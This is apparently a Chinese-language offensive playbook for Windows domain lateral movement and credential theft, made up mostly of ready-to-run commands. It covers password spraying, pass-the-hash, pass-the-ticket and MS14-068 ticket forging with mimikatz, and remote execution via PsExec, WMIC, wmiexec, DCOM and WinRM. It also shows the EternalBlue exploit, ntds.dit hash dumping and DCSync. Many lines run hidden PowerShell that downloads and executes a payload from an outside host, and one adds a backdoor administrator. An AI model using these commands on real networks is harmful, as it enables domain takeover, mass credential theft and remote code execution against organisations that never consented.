kerbrute.exe userenum --dc 域控ip -d 域名 用户名字典.txt

密码喷洒攻击原理

在确认用户存在后,客户端又会发送一个 AS-REQ 请求,如果密码正确,则返回 AS-REP。否则返回 KRB5KDC_ERP_PREAUTH_FAILED,

在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号,此方法能有效的避免账号被锁定的问题

kerbrute 工具

1
kerbrute.exe passwordspray -d hack.com 1.txt Admin@123

CrackMapExec

CrackMapExec(⼜名 CME)是⼀款⾮常好⽤的密码喷洒攻击的⼯具,在 Kali Linux 默认已经安装好。

1
crackmapexec smb 192.168.41.10 -u 1.txt -p 'Admin@123' --continue-on-success

使用前提:设置代理 将 192.168.41.10 的流量代理到 kali 上

DomainPasswordSpray.ps1

必须是域内用户才可以

1
2
3
4
5
6
UserList:用户字典
Password:单个密码
PasswordList:密码字典
OutFile:输出的文件名
Domain:要爆破的域
Force:强制喷洒继续,而不提示确认
1
2
Import-Module DomainPasswordSpray.ps1 导入
Invoke-DomainPasswordSpray -UserList 1.txt -Domain hack.com -Password Admin@123 -Force -OutFile res.txt

# PTH 哈希传递横向移动

大多数渗透测试人员都听说过哈希传递 (Pass The Hash) 攻击。该方法通过找到与账户相关 的密码散列值 (通常是 NTLM Hash) 来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本 地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登 录内网中的其他计算机。同时,通过哈希传递攻击,攻击者不需要花时间破解密码散列值 (进而获得密码明文)。 在 Windows 网络中,散列值就是用来证明身份的 (有正确的用户名和密码散列值,就能通过验证), 而微软自己的产品和 工具显然不会支持这种攻击,于是,攻击者往往会使用第三方工具来 完成任务。在 WindowsServer2012R2 及之后版 本的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权 限验证,实现对远程计 算机的控制。

希传递攻击原理

当用户需要登录某网站时,如果该网站使用明文的方式保存用户的密码,那么,一旦该网站出现安全漏洞,所有用户的明 文密码均会被泄露。由此,产生了散列值的概念。当用户设置密码时,网站服务器会对用户输入的密码进行散列加密 处理 (通常使用 MD5 算法) 散列加密算法般为单向不可逆算法。当用户登录网站时,会先对用户输入的密码进行散列加 密处理,再与数据 库中存储的散列值进行对比,如果完全相同则表示验证成功。 主流的 Windows 操作系统,通常会使用 NTLM Hash 对访问资源的用户进行身份验证。早期 版本的 Windows 操作系 统,则使用 LMHash 对用户密码进行验证。但是,当密码大于等于 14 位 时,就无法使用 LM Hash 了。从 Windows vista 和 Windowsserver2008 版本开始,Windows 操作 系统默认禁用 LMHash, 因为在使用 NTLM Hash 进行身份认 证时,不会使用明文口令,而是将明文口令通过系统 API (例如 Lsalogon User) 转换成散列值。不过,攻击者在获得密 码散列值之 后,依旧可以使用哈希传递攻击来模拟用户进行认证。

哈希传递条件

哈希传递攻击的前提:有管理员的 NTLM Hash ,并且目标机器开放 445 端口。

Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。

Windows Vista 之后的机器,只能是 administrator (SID 为 500) 用户的哈希值才能进行哈希传递攻击,其他用户 (包括管理员用户但是非 administrator) 也不能使用哈希传递攻击,会提示拒绝访问

在工作组环境中:

Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。

WindowsVista 之后的机器,只能是 administrator 用户的哈希值才能进行哈希传递攻击,其他用户 (包括管理员用户但是非 administrator) 也不能使用哈希传递攻击,会提示拒绝访问。

在域环境中:

只能是域管理员组内用户 (可以是域管理员组内非 administrator 用户) 的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器

使用 mimikatz 进行 hash 传递,

1
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:hack.com /ntlm:570a9a65db8fba761c1008a51d4c95ab

传递完成后会弹出一个框可以进行链接了

使用 cs

image-20221210175949983

# pass the key 密钥传递攻击 (PTK) 横向攻击

WinXP/2003/Vista/2008 ,以及未打 KB2871997 补丁之前的 Win7/2008r2/8/2012,这些环境我们都可以使用 NTLM 哈希传递

对于 8.1/2012r2,安装补丁 kb2871997 的 Win 7/2008r2/8/2012,可以使用 AES keys 代替 NTLM 来进行验证

KB2871997:禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行 wmi、psexec、schtasks、at 和访问文件共享。

这个补丁发布后常规的 Pass The Hash 已经无法成功,唯独默认的 Administrator (SID 500) 账号例外,利用这个账号仍可以进行 Pass The Hash 远程连接,即使 administrator 修改了名字但是还可以通过 AES 密钥来替代 NTLM 验证进行横向的操作,其实这个补丁挺鸡肋的,不用 AES 密钥照样也可以用 NTLM,只是需要 Administrator(SID 500),都拿到机器了,Administrator 还不容易吗?这个补丁唯一的好处就是减少存储在内存中的凭据数据,也就是让 wdigest 协议认证的凭据不会存储在 lsass.exe,这样子当你 dump lsass.exe 的时候你就会发现,wdigest 协议中的凭据你就看不到了!

抓取密码

1
mimikatz sekurlsa:ekeys

image-20221210182917579

传递域中 administrator 的 aes256key

1
sekurlsa::pth /user:administrator /domain:hack.com /aes256:b03fcae60f0b32a105a8082e89a09cd88a5a6c54b0a209caaa9664c6bc223232

传递后在被控机器上弹出一个 system 权限的 cmd

但是横向时需要使用主机名

1
2
3
4
net use \\2012-1.hack.com
copy C:\Users\admin\Desktop\wanli.exe \\2012-1.hack.com\C$
schtasks /create /s 2012-1.hack.com /tn test /sc onstart /tr c:\wanli.exe /ru system /f
schtasks /run /s 2012-1.hack.com /i /tn "test"

# pass the ticket 票据传递攻击 (PTT) 横向攻击

要想使用 mimikatz 的哈希传递功能,必须具有本地管理员权限。 mimikatz 同样提供了不需要本地管理员权限进行 横向渗透测试的方法,

例如票据传递 (PassThe Ticket,PTT)

票据传递是基于 kerberos 认证的一种攻击方式,常用来做后渗透权限维持。

黄金票据攻击利用的前提是得到了域内 krbtgt 用户的 NTLM 哈希或 AES-256 的值。

白银票据攻击利用的前提是得到了域内服务账号的 HTML 哈希或 AES-256 的值。

票据传递攻击一般分为两种

1、自己制作票据

2、传递内存中的票据

导出内存的票据

1
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"

执行以上命令后,会在当前目录下出现多个服务的票据文件,例如 krbtgt、cifs、ldap 等。

清除内存中的票据

1
2
3
shell klist purge
mimikatz kerberos::purge
两个都是清除票据

将高权限的票据文件注入内存

1
mimikatz kerberos::ptt [0;998d7]-2-0-40e10000-Administrator@krbtgt-HACK.COM.kirbi

查看票据

1
2
shell klist
mimikatz kerberos::tgt

访问机器 (admin 用户没有过 uac)

1
dir \\2012-1.hack.com\c$

横向后都是 system 权限

# PTT 攻击之 ms14-068 传递获取域管横向

ms14-068 漏洞主要通过伪造域管的 TGT,将普通用户权限提权为域管权限,以此来控制域控。只要服务器未打 ms14-068 补丁(KB3011780),在 server 2000 以上的域控服务器中,都可进行利用

MS14-068 的利用条件

1、获取域普通用户的账号密码

2、获取域普通用户的 sid

3、服务器未打 KB3011780 补丁

查看域用户的 SID

1
whoami /all

清除内存中的票据

1
klist purge

生成票据

1
ms14-068.exe -u 域用户@域名 -p 域用户密码 -s 域用户SID -d 域控

执行后会生成一张伪造的 tgt

导入票据

1
kerberos::ptc 票据名字

执行命令

1
dir \\dc2.test.com\c$ 注意是机器名不是IP

goldenPac.exe

此工具是 impacket 工具包里的,它是 MS14-068+psexec 的组合,因此使用起来非常放方便快捷

用法

1
goldenPac.exe 域名/域用户名:域用户明文密码@域控完整域名

# PsExec 工具远程命令执行横向移动

psexec 是 windows 下非常好的一款远程命令行工具。psexec 的使用不需要对方主机开方 3389 端口,只需要对方开启 admin共享和ipc共享和ipc (该共享默认开启,依赖于 445 端口)。但是,假如目标主机开启了防火墙(防火墙禁止 445 端口连接),psexec 也是不能使用的,会提示找不到网络路径。由于 psexec 是 Windows 提供的工具,所以杀毒软件将其列在白名单中

PsExec 使用条件

1、具有正确的凭证(内存凭证、账号密码、账号 NTLM Hash)

2、能建立 IPC 链接(也就是需要通过 smb 认证的),且目标机器开启了共享(默认开启的),并且目标共享中必须有 admin$ 共享

PsExec 常用参数

1
2
3
4
5
6
psexec \\ip -u administrator -p admin cmd 进⼊半交互式shell
PsExec -accepteula \\192.168.108.101 -s cmd.exe 建立交互的shell
psexec \\ip - uadministrator -p admin -w c:\cmd 进⼊交互式shell,且c:\是⽬标机器的⼯作⽬录
psexec \\ip -u administrator -p admin whoami all 执行命令
psexec \\ip -u administrator -p admin -d c:\beacon.exe 执行文件
psexec \\ip -u administrator -p admin -h -d c:\beacon.exe UAC的⽤⼾权限执行文件

第一次使用时会弹窗,加上 accepteula 取消弹窗

IPC$ 下的 psexec

建立 IPC$ 连接

1
net use \\192.168.41.150\ipc$ "Admin@123" /user:administrator

直接执行命令,建立 ipc 后无需输入密码

1
2
psexec.exe -accepteula \\192.168.41.150 -s cmd.exe 返回交互shell(必须是msf或者远程到桌面CS不行)
psexec.exe -accepteula \\192.168.41.150 -s ipconfig 远程执行命令

PTH 下的 psexec

进行 psexec 攻击上线

image-20221211180427093

PTT 下的 psexec

导出内存的票据

1
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"

清除内存中的票据

1
2
shell klist purge
mimikatz kerberos::purge

将高权限的票据文件注入内存

1
mimikatz kerberos::ptt [0;998d7]-2-0-40e10000-Administrator@krbtgt-HACK.COM.kirbi
1
psexec.exe \\dc.hack.com -h -d c:\wanli.exe

# WMIC 远程执行命令横向移动

WMIC 扩展 WMI(Windows Management Instrumentation,Windows 管理工具) ,提供了从命令行接口和批处理脚本执行系统管理的支持。

简单来说:wmic 就是 wmic.exe,位于 windows 目录底下,是一个命令行程序。WMIC 可以以两种模式执行:交互模式 (Interactive mode) 和非交互模式 (Non-Interactive mode),WMI 就是 WindowsManagement Instrumentation(Windows 管理规范)。它是 Windows 中的一个核心管理技术。

wmic 命令需要本地管理员或域管理员才可以进行正常使用,普通权限用户若想要使用 wmi,可以修改普通用户的 ACL,不过修改用户的 ACL 也需要管理员权限,普通用户使用 wmic。以下命令均在 2008R2、2012R2、2016 上进行测试,部分命令在虚拟机中测试不行。

wmic 调用 cmd

以下命令需要管理员权限

1
2
3
4
5
6
7
8
9
10
执行命令并且输出
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c ipconfig >c:\ip.txt"
列出远程主机进程
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process list brief
在远程系统上执行bat脚本
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create c:\programdata\test.bat
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add
执行powershell上线
wmic /NODE:IP /user:本地用户管理员/域管理员 /password:密码 PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring('ps脚本地址'))\""

利用 powershell 上线

1、使用 cs 生成 powershell 脚本

2、wmic 进行上线,把 ps1 放大公网,可以使用 python 开启 http 服务提供下载 python-m http.server 9988

1
2
3
wmic /NODE:192.168.41.148 /user:administrator /password:Admin@123 PROCESS call
create "powershell.exe -nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))\""

Wmiexec 工具

wmiexec 是一个即有全交互也有半交互的远程命令执行工具,有 python 版本的 pe 版本可运用于多种环境,包括 webshell 环境、rdp 环境、socks 环境等

1
2
3
4
wmiexec.exe 域名/用户名:密码@目标IP #哈希传递获得shell
wmiexec.exe 域名/用户名:密码@目标IP "ipconfig" #执行命令
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP #哈希传递获得shell
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig" #执行命令

利用 powershell 上线

1、使用账号密码登录进行 powershell 上线

1
2
3
wmiexec.exe administrator:Admin@123@192.168.41.40 "powershell.exe -nop -w hidden
-c IEX ((new-object
net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))"

2、使用 hash 上线

1
2
3
4
wmiexec.exe -hashes
aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab
administrator@192.168.41.40 "powershell.exe -nop -w hidden -c IEX ((new-object
net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))"

wmiexec.vbs

wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式 Shell。wmiexec.vbs 支持两种模式,一种是半交互式 shell 模式,另一种是执行单条命令模式

1
cscript.exe //nologo wmiexec.vbs /cmd IP 用户 密码 "命令"

使用 powershell 上线

1
2
3
cscript.exe //nologo wmiexec.vbs /cmd 192.168.41.148 administrator Admin@123
"powershell.exe -nop -w hidden -c IEX ((new-object
net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))"

Invoke-WMIExec

Invoke-WMIExec 是一个 powershell 脚本在 Invoke-TheHash 的文件中用法如下

1
2
Invoke-WMIExec -Target IP -Domain 域 -Username 用户 -Hash hash-Command "calc.exe"
-verbose

采用无文件落地的方式进行横向

1
2
3
4
shell powershell -exec bypass -c IEX (New-Object
System.Net.Webclient).DownloadString('http://118.178.134.226:9988/InvokeWMIExec.ps1');import-module .\Invoke-WMIExec.ps1;Invoke-WMIExec -Target
192.168.41.148 -Username administrator -Hash 570a9a65db8fba761c1008a51d4c95ab -
Command "whoami" -verbose

本地执行

1、导入脚本

1
powershell-import powershell/Invoke-WMIExec.ps1

2、运行上线命令

1
2
3
4
5
powershell Invoke-WMIExec -Target 192.168.41.20 -Username administrator -Hash
570a9a65db8fba761c1008a51d4c95ab -Command "powershell.exe -nop -w hidden -c IEX
((new-object
net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))" -
verbose

Invoke-WMIMethod.ps1

该模块为 Powershell 内置模块,以下为示例,可以自由组合命令进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
$User #目标系统用户名
$Password #目标系统密码
$Cred #账号密码整合,导入Credential
Invoke-WMIMethod #远程运行指定程序
#####---------------------------#####
$User = "administrator"
$Password= ConvertTo-SecureString -String "Admin@123" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -
ArgumentList $User , $Password
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "powershell.exe
-nop -w hidden -c IEX ((new-object
net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))" -
ComputerName "192.168.41.20" -Credential $Cred

# SMB 远程执行命令横向移动

SMB 全称是 Server Message Block 翻译过来是服务器信息块,它也是一种客户端到服务器的通信协议。除此之外,SMB 协议也被称为请求 - 回复协议。 客户端与服务器建立连接后,客户端可以向服务器发送 SMB 命令允许用户访问共享、打开、读取或者是写入文件。

利用条件:开启了 445 端口

smbexec 使用

smbexec 为 impacket 工具中的工具,操作简单,容易被杀,使用时无需先进行 IPC 连接

1
2
3
4
5
明文传递命令:
smbexec hsyy.com/administrator:123.com@192.168.213.163
hash传递:
smbexec -hashes :$HASH$ ./admin@192.168.213.163
smbbexec -hashes :$HASH$ domain/admin@192.168.213.163

使用明文

1、输入命令

1
smbexec administrator:Admin@123@192.168.41.148

使用 hash

1
smbexec -hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab administrator@192.168.41.148

# DCOM 远程执行命令横向移动

DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是 Internet 上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求,使用 DCOM 进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管 COM 服务器端的软件

获取 DCOM 列表

1
2
3
Get-CimInstance Win32_DCOMApplication
Get-CimInstance -classWin32_DCOMApplication | select appid,name
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

DCOM 横向前提

1
2
3
1、需要关闭系统防火墙
2、必须拥有管理员权限
3、在远程主机上执行命令时,必须使用域管的administrator账户或者目标主机具有管理员权限的账户

MMC20.Application 远程执行命令

1、通过 PowerShell 与 DCOM 进行远程交互,此外,我们只需要提供一个 DCOM ProgID 和一个 IP 地址,然后,它就从远程返回一个 COM 对象的实例。

1
2
3
$com =
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0
.0.1"))

2、然后执行如下命令,我们就可以调用 "ExecuteShellCommand" 方法在远程主机上启动进程

1
2
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c
calc.exe","Minimzed")

3、将 IP 和命令换成上线的命令

1
2
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.1
68.41.147"))
1
2
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))","Mini
mzed")

ShellWindows 远程执行命令

1
2
3
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-
00A0C90A8F39',"127.0.0.1")).item().Document.Application.ShellExecute("cmd.exe","
/c calc.exe","c:windowssystem32",$null,0) 打开本地计算器
1
2
3
4
5
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-
00A0C90A8F39',"192.168.41.147")).item().Document.Application.ShellExecute("cmd.e
xe","/c powershell.exe -nop -w hidden -c IEX ((new-object
net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))","c:wi
ndowssystem32",$null,0)

ShellBrowserWindow 远程执行命令

适用于 Windows 10 和 Windows Server 2012 R2 等版本的系统。

1
2
3
4
5
[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-
00A0C91F3880","192.168.41.147")).Document.Application.shellExecute("cmd.exe","/c
powershell.exe -nop -w hidden -c IEX ((new-object
net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))","c:wi
ndowssystem32",$null,0)

调用 Excel.Application 远程执行命令

目标主机中安装有 excle

1、 通过 PowerShell 与 DCOM 进行远程交互,创建 Excel.Application 对象的实例

1
2
3
4
5
6
7
$com =
[activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.1
68.41.147"))
$com.DisplayAlerts = $false
$com =
[activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","127.0
.0.1"))

2、然后执行如下命令,我们就可以调用该对象的 "DDEInitiate" 方法在远程主机上启动进程

1
$com.DDEInitiate("cmd.exe","/c 参数")

Visio.Application 远程执行命令

目标主机中安装有 Visio

1
2
[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.1
68.52.138")).[0].Document.Application.shellExecute("C:shell.exe")

Outlook.Application 远程执行命令

目标主机中安装有 Outlook

1
2
[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192
.168.52.138")).createObject("Shell.Application").shellExecute("C:shell.exe")

Impacket 中的 dcomexec.py

1
2
3
dcomexec.exe [domain/]username:password@ip //创建一个交互式shell
dcomexec.exe [domain/]username:password@ip command // 执行命令
dcomexec.exe [domain/]username:@ip -hashes [hash] //hash传递

# WinRM 介绍

WinRM(Windows 远程管理)是 Microsoft 在 Windows 中对 WS-Management 的实现,它使系统可以跨通用网络访问或交换管理信息。利用脚本对象或内置的命令行工具,WinRM 可以与可能具有基板管理控制器(BMC)的任何远程计算机一起使用,以获取数据。也可以获取基于 Windows 的计算机(包括 WinRM)。 WinRM 默认端口 5985(HTTP 端口)或 5986(HTTPS 端口),若配置了 WINRM 远程服务,当我们拿到一个管理员账户时,可以使用远程连接进行命令执行操作

winrm 通过 HTTP(5985)或 HTTPS SOAP(5986)端口来进行通信

winrs.exe

Winrs.exe 是一个内置的命令行工具,它允许远程命令的执行在 WinRm 的适当的有资格的用户

1
2
3
4
5
6
7
8
winrs -r:http://127.0.0.1:5985 -u:administrator -p:Admin@123 "whoami"
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig"
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig"
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ }
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -command {Get-Culture}
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -ScriptBlock {Get-Culture}

1、执行

1
winrs -r:http://192.168.41.147:5985 -u:administrator -p:Admin@123 "whoami"

如果出现

1
2
3
4
Winrs error:WinRM 客户端无法处理该请求。 可以在下列条件下将默认身份验证与 IP 地址结合使用:
传输为 HTTPS 或目标位于 TrustedHosts 列表中,并且提供了显式凭据。 使用 winrm.cmd 配置
TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。 有关如何设置
TrustedHosts 的详细信息,请运行以下命令
1
winrm set winrm/config/Client @{TrustedHosts="*"}

CS 使用自带 winrm 上线

必须使用域管账号

# 使用系统漏洞 ms17010 横向移动

Cobalt Strike 生成 DLL

1、生成 CS 的生成 bin 文件

2、使用 msf 用 bin 文件生成 dll 文件

1
2
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x64 --platform windows -
f dll -o wanli111.dll

原版 ms17-010 渗透

1、CS 执行下面的命令

1
2
3
4
Eternalblue-2.2.0.exe --TargetIp 192.168.41.168 --Target WIN72K8R2 --
DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --
VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig
outlog.txt
1
2
3
4
Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetIp
192.168.41.168 --TargetPort 445 --Protocol SMB --Architecture x64 --Function
RunDLL --DllPayload 123.dll --payloadDllOrdinal 1 --ProcessName lsass.exe --
ProcessCommandLine "" --NetworkTimeout 60

# 域控安全

# ntds.dit

ntds.dit 为 ad 的数据库,内容有域用户、域组、用户 hash 等信息,域控上的 ntds.dit 只有可以登录到域控的用户(如域管用户、DC 本地管理员用户)可以访问。ntds.dit 包括三个主要表:数据表、链接表、sd 表。所以只要在域渗透中能够获取到 ntds.dit 就可以获取到所有域用户的用户名和对应的 hash,它和 SAM 文件一样,被 windows 系统锁死

1
C:\Windows\NTDS

# 提取移动 ntds.dit 文件

ntdsutils.exe 提取 ntds.dit

ntdsutils.exe 是一个为活动目录提供管理机制的命令行工具,使用 ntdsutils.exe 可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区等,该工具默认安装在域控服务器上,可以在域控制器上直接操作,支持 windows server 2003、2008、2012。提取过程分为 3 步:

第一步:创建快照

1
ntdsutil.exe snapshot "activate instance ntds" create q q

第二步:加载快照

1
ntdsutil.exe snapshot "mount {bf50c558-aa39-414d-9cc2-32e6dd3aebdc}" q q

第三步:复制快照中的 ntds.dit 文件

1
copy '快照地址\Windows\NTDS\ntds.dit' 目标地址

第四步:删除快照

1
ntdsutil.exe snapshot "umount {bf50c558-aa39-414d-9cc2-32e6dd3aebdc}" "delete {bf50c558-aa39-414d-9cc2-32e6dd3aebdc}" q q

vssadmin 提取 ntds.dit

vssadmin1 是 Windows Server 2008 及 Windows 7 系统提供的 VSS 管理工具,它可以用于创建或删除卷影副本,列出卷影副本的信息(只能管理系统 Provider 创建的卷影副本)。还可以用于显示所有安装的所有卷影副本写入程序(writers)和提供程序(providers),以及改变卷影副本存储空间(即所谓的 “diffff 空间”)的大小等。支持的操作系统:Server 2008、Server 2012

第一步:创建快照

1
vssadmin create shadow /for=c:

第二步:复制文件

1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds\ntds.dit

第三步:删除快照

1
vssadmin delete shadows /for=c: /quiet

vssown 提取 ntds.dit

vssown.vbs 和 vssadmin 类似,它是由 Tim Tomes 开发完成的,它可以创建和删除卷影副本,以及启动和停止卷影复制服务

第一步:启动卷影复制服务

1
cscript vssown.vbs /start

第二步:创建一个 C 盘的卷影副本

1
cscript vssown.vbs /create c

第三步:列出当前卷影副本

1
cscript vssown.vbs /list

第四步:复制文件:

1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds\ntds.dit

第五步:删除卷影副本

1
cscript vssown.vbs /delete {B267559B-57D8-4D59-B77F-890CF57BA448}

IFM

可以通过创建一个 IFM 的方式获取 ntds.dit,在使用 ntdsutil 创建媒体安装集(IFM)时,需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作,这些操作也可以通过 PowerShell 或 VMI 远程执行。

第一步:

1
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

此时 ntds.dit 将被保存在 C:\test\Active Directory 下,SYSTEN 和 SECURITY 两个文件将被保存在

C:\test\registry 文件夹下

第二步:删除

1
rmdir /s/q C:\test

impacket

通过 impacket 里的 secretsdump.py 脚本可以直接远程读取 ntds.dit 并导出哈希值

1
secretsdump.exe 域名/administrator:密码@IP -outputfile output_ntds

# 离线方式读取 ntds.dit 文件

离线一般需要两步:

1、将远端域控的 ntds.dit 下载到本地,

2、然后利用再在本地进行。

注意:因为 system.hive 里存放着 ntds.dit 的秘钥,所以需要转储 system.hive ,不然没法查看 ntds.dit 里内容

命令如下:

1
reg save hklm\system c:\windows\temp\system.hive

esedbexport

安装

1
2
3
4
5
6
7
8
apt-get install autoconf automake autopoint libtool pkg-config
wget https://github.com/libyal/libesedb/releases/download/20210424/libesedbexperimental-20210424.tar.gz
tar zxvf libesedb-experimental-20210424.tar.gz
cd libesedb-20210424
./configure
make
make install
ldconfig

2、导出 ntds.dit,两个重要的表为:datatable 以及 link_table,他们都会被存放在./ntds.dit.export/ 文件夹中

1
esedbexport -m tables ntds.dit

3、安装 ntdsxtract

1
2
3
4
git clone https://github.com/csababarta/ntdsxtract.git
cd ntdsxtract
python setup.py build
python setup.py install

如果提示 ImportError: No module named Crypto.Hash,请执行 pip install pycryptodome

4、将 ntds.dit.export 和 SYSTEM 文件放入到 ntdsxtract 工具的文件夹中,然后导出哈希值,最后的结果将保存在 1.txt 里

1
python2 dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 output --syshive SYSTEM --passwordhasher --pwdformat ocl --ntoufile atout --lmoufile lmout | tee 1.txt

impacket

将 ntds.dit.export 和 SYSTEM 文件放入到 和 secretsdump.exe 同级目录下

1
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

NTDSDump.exe

NTDSDumpEx.exe 可以进行导出哈希值的操作

1
NTDSDumpEx -d ntds.dit -s system -o 1.txt

DSInternals

DSInternals 是 powershell 脚本,可以离线读取 ntds 文件

安装 DSInternals

1
Install-Module DSInternals -Force

导出 hash,并保存在 txt 文件里

1
$key = Get-Bootkey -SystemHivePath 'system路径' Get-ADDBAccount -All -DBPath 'ntds路径' -Bootkey $key | Out-File output_hash.txt

# 在线方式读取 ntds.dit 文件

在线的方式就是直接读取不需要在导出 ntds 文件,在域环境中,不要直接在线获取 hash,特别是域环境比较大的时候,在线获取 hash 等待时时间较长,工具占用资源太多,容易造成域控服务器崩溃

mimikatz

1、可以读取所有用户的 hash

1
lsadump::dcsync /domain:hack.com /all /csv

2、也可以读取单个用户的 hash

1
lsadump::dcsync /domain:hack.com /user:administrator

Quarks PwDump

1、上传工具到目标机器,使用命令先导出 ntds 文件,然后直接读取

1
shell QuarksPwDump.exe --dump-hash-domain --ntds-file ntds,dit.

Invoke-DCSync

1
2
Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync -PWDumpFormat

impacket

使用 secretsdump 直接读取

1
secretsdump.exe 域名/administrator:密码@IP -outputfile output_ntds

MSF 读取 ntds.dit 文件

离线读取使用 msf 读取 ntds 文件,前提是 msf 必须和域控相同,我们可以使用代理技术,将 msf 代理到内网,然后使用 msf 导出 ntds 文件

1、使用导出模块进行导出

1
use auxiliary/admin/smb/psexec_ntdsgrab

2、填写相关的选项,主要有 IP, 域,用户名和密码

1
2
3
4
set RHOSTS 192.168.41.10
set SMBDomain hack.com
set smbuser administrator
set smbpass "123456kl;'/"

3、运行之后 ntds 和 system 文件会被保存到 /root/.msf4/loot 下

4、在相应的目录下找到该文件

5、使用相应的工具读取该文件即可

在线读取

1、使用 cs 或者其他的方式先上线的 msf 中使用派生会话的方式

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 本机ip
set lport 接受的端口
exploit 执行

2、拿到 shell 之后执行 hashdump,如果不能执行就迁移进程到 64 位中

1
migrate 4812

3、或者使用下面的脚本,也可以读取域内的 hash

1
use post/windows/gather/smart_hashdump

# 跨域攻击

很多大型企业都拥有自己的内网,一般通过域林进行共享资源。根据不同职能区分的部门,从逻辑上以主域和子域进行区分,以方便统一管理。在物理层,通常使用防火墙将各个子公司及各个部门划分为不同的区域。

image-20221214185010968

跨域攻击方法

1、常规渗透方法(利用 web 漏洞)

2、哈希传递票据攻击

3、利用域信任关系

image-20221214185209529

域信任关系

建立域之间的信任关系,是为了一个域的用户能方便地访问其他域的资源,同时也方便了对域网络的管理和维护,域信任作为域中的一种机制,允许另一个域的用户在通过身份验证后访问本域中的资源。同时,域信任利用 DNS 服务器定位两个不同子域的域控制器,如果两个域中的域控制器都无法找到另一个域,也就不存在通过域信任关系进行跨域资源共享了

域信任关系分类

域信任关系分为单向信任和双向信任

